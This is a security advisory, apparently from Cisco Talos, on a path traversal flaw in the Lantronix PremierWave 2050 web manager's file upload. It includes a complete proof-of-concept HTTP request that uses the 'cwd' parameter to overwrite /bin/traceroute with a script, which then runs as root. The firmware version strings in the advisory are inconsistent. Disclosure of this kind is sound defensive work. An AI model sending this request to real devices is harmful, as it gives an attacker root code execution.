A directory traversal vulnerability exists in the Web Manager File Upload functionality of Lantronix PremierWave 2050 18.104.22.168R4. A specially-crafted HTTP request can lead to arbitrary file overwrite. An attacker can make an authenticated HTTP request to trigger this vulnerability.
Lantronix PremierWave 2050 22.214.171.124R4 (in QEMU)
9.9 - CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
CWE-22 - Improper Limitation of a Pathname to a Restricted Directory (‘Path Traversal’)
PremierWave 2050 is an embedded Wi-Fi Module manufactured by Lantronix.
The PremierWave 2050 allows an unprivileged, authenticated user to upload files into a restricted directory tree, rooted at
/ltrx_user/. The function responsible for handling the file upload takes two attacker-controlled HTTP Post parameters,
selectedfile. The system successfully sanitizes the contents of the
filename attribute of the
selectedfile form-data field, removing unsafe path traversal primitives. The same level of scrutiny is not given to the
cwd parameter, which is concatenated with the sanitized
filename to craft the final file path for the uploaded file contents.
POST /fs HTTP/1.1 Host: [IP]:[PORT] Content-Length: 308 Authorization: Basic YnJvd25pZTpwb2ludHM= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36 Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryBGAzW2oT7oZregD6 Accept: */* Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Connection: close ------WebKitFormBoundaryBGAzW2oT7oZregD6 Content-Disposition: form-data; name="cwd" /../bin/ ------WebKitFormBoundaryBGAzW2oT7oZregD6 Content-Disposition: form-data; name="selectedfile"; filename="traceroute" Content-Type: text/plain #!/bin/bash whoami ------WebKitFormBoundaryBGAzW2oT7oZregD6--
The above request will overwrite the contents of
/ltrx_user/../bin/traceroute with the included shell script, maintaining the original file’s executable permissions. Subsequent unprivileged, authenticated requests made to the
Diagnostics: Traceroute page will cause the overwritten
traceroute to be executed with root privileges.
2021-06-14 - Vendor Disclosure
2021-06-15 - Vendor acknowledged
2021-09-01 - Talos granted disclosure extension to 2021-10-15
2021-10-18 - Vendor requested release push to 2nd week of November. Talos confirmed final extension and disclosure date
2021-11-15 - Public Release
Discovered by Matt Wiseman of Cisco Talos.